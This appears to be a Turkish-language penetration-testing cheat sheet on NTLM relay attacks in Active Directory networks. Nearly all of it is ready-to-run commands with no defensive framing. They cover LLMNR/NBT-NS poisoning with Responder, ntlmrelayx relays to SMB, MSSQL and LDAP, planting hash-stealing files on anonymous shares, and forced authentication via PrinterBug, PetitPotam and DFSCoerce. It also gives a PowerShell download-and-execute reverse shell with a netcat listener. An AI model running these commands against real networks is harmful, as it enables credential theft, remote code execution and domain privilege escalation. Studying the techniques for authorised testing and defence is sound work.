NTLM Relay Attacks
NTLM Nedir?
Windows active directory ağlarında kimlik doğrulama için geliştirilmiş bir protokoldür.
Kerberostan daha güvensizdir.
NTLM's pass-through authentication
Bu kimlik doğrulama yöntemi hedef makine bir domain içinde ise gerçekleştirilir.

Workgroup Authentication
Eğer hedef makine domaine bağlı değilse parola hashini kendi SAM veritabanı ile kontrol eder.

SMB Signing ve SMB Sealing
SMB Signing: Sunucu ve kullanıcı arasındaki her adım kullanıcı ve sunucunun parola hashlerinin bir kombinasyonu ile imzalanır. Bu şekilde mesaj okunabilir fakat bir aradaki bir saldırgan tarafından değiştirilemez.
SMB Sealing: Her mesaj aynı yöntem ile imzalanır ve aynı zamande şifrelenir. Bu şekilde saldırgan mesajı hem göremez hem değiştiremez.
LLMNR, NBT-NS, and mDNS Poisoning
Bu protokoller ağda bir DNS sorgusu başarısız olduğunda devreye giren yedek protokollerdir.
Bir dns sorgusu başarısız olduğunda cihaz ağa bir broadcast mesajı gönderir ve bu sunucunun IP adresini bilen biri olup olmadığını sorar.
Biz bu adımda sunucunun IP adresini kendimiz olarak gösterirsek sunucu bize authanticate olmaya çalışır ve kimlik bilgisini gönderir.
# Sadece analiz eder poisoning yapmaz
responder -I eth0 -A
# Poisoning yapar
responder -I eth0
NTLM Relay
NTLM Relay ile kendimize gelen authantication isteklerini istediğimiz makineye yönlendirebiliriz ve o kişinin yetkileri ile session alabiliriz.
SMB Signing kapalı olan hedefler etkilenir.
# SMB signing kapalı olan hedefleri listeler
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt
responder-RunFinger -i 10.0.0.0/24
# Hangi servisi yönlendiriyor isek onu responderdan kapıyoruz
micro /usr/share/responder/Responder.conf
# Zehirlemeye başlıyoruz
responder -I eth0
# Responder'a gelen bağlantıyı hedeflere yönlendiriyoruz
impacket-ntlmrelayx -tf relay.txt -smb2support
# Default olarak SAM veritabanını çeker fakat istersek komut çalıştırabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c 'whoami'
# Komut çalıştırarark reverse shell alabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c "powershell -c IEX(New-Object NET.WebClient).DownloadString('http://10.0.0.2/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.2 -Port 7331"
nc -nvlp 7331
Ntlmrelayx
# Zehirlemeye başlattık
responder -I eth0
# Saldırıyı tek bir hedefe yapabiliriz
impacket-ntlmrelayx -t smb://10.0.0.2
# Tek bir kullanıcıdan gelen isteği tek bir hedefe yapabiliriz
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2
# Tek bir kullanıcıdan gelen ilk isteği tek bir hedefe yapabiliriz
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2 --no-multirelay
# Socks4 portu 1080 olmalı
micro /etc/proxychains4.conf
# Socks bağlantısı kurabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
# Bağlantıları listeler
ntlmrelayx> socks
# Proxychains ile socks bağlantılarını kullanabiliriz
proxychains -q impacket-smbexec CORP/JOHN@10.0.0.2 -no-pass
proxychains -q impacket-smbclient CORP/JOHN@10.0.0.2 -no-pass
# Interaktif mod ile otomatik SMBClient bağlantısı kurulur ve nc ile bağlanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -i
nc -nv 127.0.0.1 11000
MSSQL Üzerinden NTLM Relay
# SMB Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Tek bir hedefe relay ediyoruz
impacket-ntlmrelayx -t mssql://10.0.0.2 -smb2support -socks
# Socks bağlantısı ile bağlanıyoruz
proxychains -q impacket-mssqlclient CORP/john@10.0.0.2 -windows-auth -no-pass
# Doğrudan SQL sorgusu da yapılabilir
impacket-ntlmrelayx -t mssql://CORP\\JOHN@10.0.0.2 -smb2support -q "SELECT name FROM sys.databases;"
LDAP Üzerinden NTLM Relay
# SMB ve HTTP Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Domain controller'da zafiyet varsa doğrudan relay edebiliriz
python cve-2019-1040-scanner/scan.py corp/john$:'pass123'@10.0.0.1
# Eğer zafiyet var ise her ntlmrelay çalıştırırken -remove-mic koymalıyız
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support -remove-mic --no-da --no-acl --lootdir ldap_dump
# Eğer zafiyet yoksa sadece http istekleri relay edilebilir smb çalışmaz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --lootdir ldap_dump
# Relay ile computer oluşturulabilir
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --add-computer 'JOHNPC$'
# Aynı zamanda relay edilen kullanıcının ACL yetkileri ile otomatik yetki yükseltmesi denenebilir.
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --escalate-user 'JOHNPC$' --no-dump -debug
Bütün Servisler Üzerinden NTLM Relay
# All protokolü ile bütün servislere relay yapabiliriz
echo "all://10.0.0.2" > relay.txt
# Bütün serverleri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Artık bütün relayleri socks üzerinden kullanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
ntlmrelayx> socks
SMB Share ile Hash Toplama
# Anonim bir share arıyoruz
nxc smb 10.0.0.1/24 -u anonymous -p '' --shares
# Bu share'a girenlerin bize bağlantı göndermesini sağlayan dosyalar oluşturuyoruz
python ntlm_theft.py -g all -s 10.0.0.9 -f '@myfile'
# Anonim olan paylaşıma giriyoruz ve lnk veya url uzantılı dosyayı koyuyoruz
impacket-smbclient anonymous@10.0.0.2 -no-pass
put @myfile/@myfile.lnk
# Aynı işlemi nxc ile otomatik yapabiliriz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=10.0.0.9 NAME=important
# Artık SMB share'a bağlanan herhangi biri hashini bize gönderiyor
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
WebDav ile Hash Toplama
# Webdav açık sunuculara bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Eğer hiçbir WebDav açık değilse SMB Share üzerine searchConnector-ms dosyası koyuyoruz
# SMB share'a bağlanan kişilerin rastgele bir yere istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.99/testing SHARE=smb FILENAME=@secret
# Webdav açık sunuculara bir daha bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Anonim SMB açık olan sunucuya bu share'a bağlananların rastgele bir hedefe istek atmasını sağlayan dosya yerleştiriyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=NOAREALNAME@8008 NAME=important
# Artık Webdav servisi açık olan biri bu SMB share'a girerse bize bağlanıcak
responder -I eth0
# HTTP isteklerini LDAP komutları için kullanabiliriz
ntlmrelayx.py -t ldap://10.0.0.1 -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs --lootdir ldap_dump
MSSQL Hash Alma
# Eğer bir mssql ele geçirdiysek hash değerini aşağıdaki şekilde kendimize göndeririz
impacket-smbserver share Deneme -smb2support
exec xp_dirtree "\\10.0.0.9\Deneme"
PrinterBug (MS-RPRN)
# Printerbug ile sunucunun bize auth isteği atmasını zorluyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
responder -I eth0
# SMB share'a bağlanan kişilerin rastgele bir yere istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.99/testing SHARE=smb FILENAME=@secret
# Webdav servisi açılan sunucuları buluyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Webdav servisi açık olan sunucuyu rastgele bir webdav'a yönlendiriyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.3 RANDOMNAME@80/share
# Bu sefer HTTP isteği geliyor (NTLMv2)
responder -I eth0
PetitPotam (MS-EFSR)
# Bu zafiyet ile kendimize auth isteği attırabiliriz
python PetitPotam.py 10.0.0.9 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
# HTTP isteği attırmak için webdav açık bir sunucuya saldırabiliriz
python PetitPotam.py RANDOMNAME@80/files 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
responder -I eth0
DFSCoerce (MS-DFSNM)
# Bu zafiyet ile kendimize auth isteği attırabiliriz
python dfscoerce.py -u 'john' -p 'pass123' 10.0.0.9 10.0.0.2
responder -I eth0
Coercer
Otomatik olarak bütün coerce zafiyetlerini dener
# Sadece coerce tekniklerini dener
Coercer scan -t 10.0.0.2 -u 'john' -p 'pass123' -d corp.local -v
# Coerce teknikleri ile bize istek attırır
Coercer coerce -t 10.0.0.2 -l 10.0.0.9 -u 'john' -p 'pass123' -d corp.local -v --always-continue
# Webdav açık sunucuda http isteği attırır
Coercer -t 10.0.0.2 -u 'john' -p 'pass123' -wh RANDOMPC -wp 80 -v
Last updated
Was this helpful?